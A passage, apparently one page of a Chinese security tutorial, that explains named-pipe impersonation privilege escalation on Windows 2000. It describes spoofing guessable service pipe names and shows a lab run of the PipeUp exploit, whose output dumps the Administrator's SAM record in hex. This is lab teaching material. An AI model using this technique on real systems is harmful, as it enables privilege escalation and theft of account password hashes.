你们可以看到,超级用户Administrator的信息(包括密码)全部都被radix1112200101接收到了。得到Administrator的账号信息后,再提升权限就易如反掌了!
这个Exploit的关键在于:第一,Named Pipe的名字是广为人知的,黑客的Named Pipe也可以贴上同样的名字“\\.\pipe\secondarylogon”去冒充;第二,CreateProcessWithLogonW在使用Named Pipe之前并没有核实Named Pipe的Server端进程,它不管Server端是连通到RunAs进程还是到其它的进程。类似的这样问题是在Windows操作系统中是广泛存在的,再看下面的例子:
我是在网站http://www.dogmile.com上看到的这个例子的,作者为maceo。根据maceo的研究,Windows 2000操作系统广泛使用了Named Pipe来控制(或者说管理)服务进程,包括象Clipbook服务进程呀、Telnetd服务进程呀等等,而且这些Named Pipe的名字是可以猜得到的。如果黑客抢先用猜到的名字创建Named Pipe的话,服务进程启动时会直接连接到黑客的Named Pipe上,於是黑客程序就可以通过ImpersonateNamedPipeClient()取得服务进程的权限(缺省设置为Local System权限)。那么,黑客是怎样猜到这些Named Pipe的名字的呢?很简单,他是从Registry中查询到的,在下面的地址:
HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet\ Control\ ServiceCurrent
如果ServiceCurrent的双字值(DWORD Value)是X,那么服务进程所用到的Named Pipe的名字就是“\\.\pipe\net\NtControlPipe(X+1)”,这也就是黑客要伪造的Named Pipe的名字。maceo给出了几个Exploit程序,我下面就在Dallas上演示其中的一个----PipeUp。这个Exploit程序首先从Registry中取得下一个服务进程要使用的Named Pipe名字,然后抢先创建这个Named Pipe;紧接着它启动服务进程ClipBook,由于ClipBook启动后会主动连接这个伪造的Named Pipe,於是PipeUp就通过函数ImpersonateNamedPipeClient而获取了Local System的账号权限(因为ClipBook一般以Local System的账号运行)。这样进程PipeUp就有足够的权限把Local System在Security Account Manager(SAM)中的信息读出来。
你们可以从网站http://www.dogmile.com下载这个Exploit的源程序,这里限于篇幅我就不转载这个程序了(画外音:其实是限于版权)。
先以Administrator的账号登录dallas,把ClipBook服务进程停止。
再以一般用户moda登录,运行Exploit程序PipeUp,下面是PipeUp运行及Exploit的结果:
D:\MyJob\securitylab\PipeUp\Debug>pipeup The ClipBook service is not started.
More help is available by typing NET HELPMSG 3521.
Impersonating: SYSTEM Dumping SAM for RID 500 ...
F:0x020001000000000010f3e3f89b33c2010000000000000000f0a09fa11061c101ffffffffffff ff7fb0c25115f430c201f401000001020000100200000000000000002a010100000000000d000a00 0000
V:0x00000000a800000002000100a80000001a00000000000000c40000000000000000000000c400 00006c00000000000000300100000000000000000000300100000000000000000000300100000000 00000000000030010000000000000000000030010000000000000000000030010000000000000000 00003001000000000000000000003001000000000000000000003001000008000000010000003801 000014000000000000004c0100001400000000000000600100000400000000000000640100000400 000000000000010014808800000098000000140000003000000002001c000100000002c014004400 05010101000000000001000000000200580003000000000014005b03020001010000000000010000 000000001800ff070f00010200000000000520000000200200000000240044000200010500000000 000515000000dde8e41c32621f2a8aa7323ff4010000010200000000000520000000200200000102 0000000000052000000020020000410064006d0069006e006900730074007200610074006f007200 00004200750069006c0074002d0069006e0020006100630063006f0075006e007400200066006f00 72002000610064006d0069006e006900730074006500720069006e00670020007400680065002000 63006f006d00700075007400650072002f0064006f006d00610069006e0001020000070000000100 01001913f29278bf71eaff44492fb2f9ed05010001002a730d35666e44ffa4f37b29011d882f0100 010001000100 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 下一页
|